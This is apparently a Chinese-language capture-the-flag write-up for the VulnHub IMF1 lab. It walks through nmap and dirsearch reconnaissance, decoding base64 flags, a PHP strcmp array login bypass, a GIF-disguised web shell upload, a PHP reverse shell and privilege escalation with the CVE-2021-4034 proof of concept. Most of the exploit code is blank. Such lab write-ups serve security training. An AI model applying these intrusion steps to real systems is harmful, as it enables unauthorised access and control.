vulnhub-IMF1
概述
信息收集
主机发现
1 | sudo nmap -sP 192.168.2.0/24 |
端口扫描
1 | sudo nmap -p- 192.168.2.165 |
目录扫描
1 | dirsearch -u http://192.168.2.165/ -x 403 |

目录扫完,啥有用的信息都没获取到,这时只能在网站上面翻翻网页源码,看看有没有什么有用信息。

flag1
1 | view-source:http://192.168.2.165/contact.php |
1 | <!-- flag1{YWxsdGhlZmlsZXM=} --> |

1 | echo "YWxsdGhlZmlsZXM=" | base64 --decode |

这个参数暂时不知道怎么利用。
flag2
拿到flag1后,没有什么往后走的有用信息,又仔细看了一下网页源码,发现有几个js文件名称比较怪,像是base64,通过组合解码得到flag2,并得到了一个路径:
imfadministrator
1 | echo "ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==" | base64 --decode |

/imfadministrator


漏洞利用
用户枚举
随意输入用户密码登录,显示无效用户名,尝试contact.php中的用户名,结果返回无效密码。
1 | rmichaels |



1 | cewl http://192.168.2.165/contact.php -w pwd.txt |
登录验证绕过
strcmp判断两个字符是否相等时,如果两个字符串相等,返回结果为0,但如果是字符串和数字进行比较,也会返回0。
提示里面说的意思这里没有通过数据库查看密码,而是直接写在代码里进行对比,
所以这里将密码字段pass改为pass[],直接绕过登录验证。

flag3
1 | flag3{Y29udGludWVUT2Ntcw==} |
文件上传
上传白名单
经测试,这里是白名单,后缀必须是png、jpg、gif,上传gif显示乱码,怀疑这里gif会被作为php脚本解析,然后上传phpinfo测试。

gif被解析
结果gif确实被解析了。


限制函数绕过
本来想直接用蚁剑生成的一句话,但是显示禁用了Base64 decode函数,后续尝试了多种一句话,在黑盒测试的情况下,总结了回显里面的禁用。


1 | 1.文件后缀必须是 png、jpg、gif |
最后一条,虽然上传代码执行函数assert不回拦截,但是用不了,最后使用下面的一句话,蚁剑成功连接。
1 |
|
参考文章:https://www.cnblogs.com/xiaozi/p/7834367.html

flag5

1 | flag5{YWdlbnRzZXJ2aWNlcw==} |
权限提升
目标机器没有python环境,用php执行反弹shell。
1 |
|
CVE-2021-4034
1 | gcc cve-2021-4034-poc.c -o exp |

flag6
1 | cat Flag.txt |
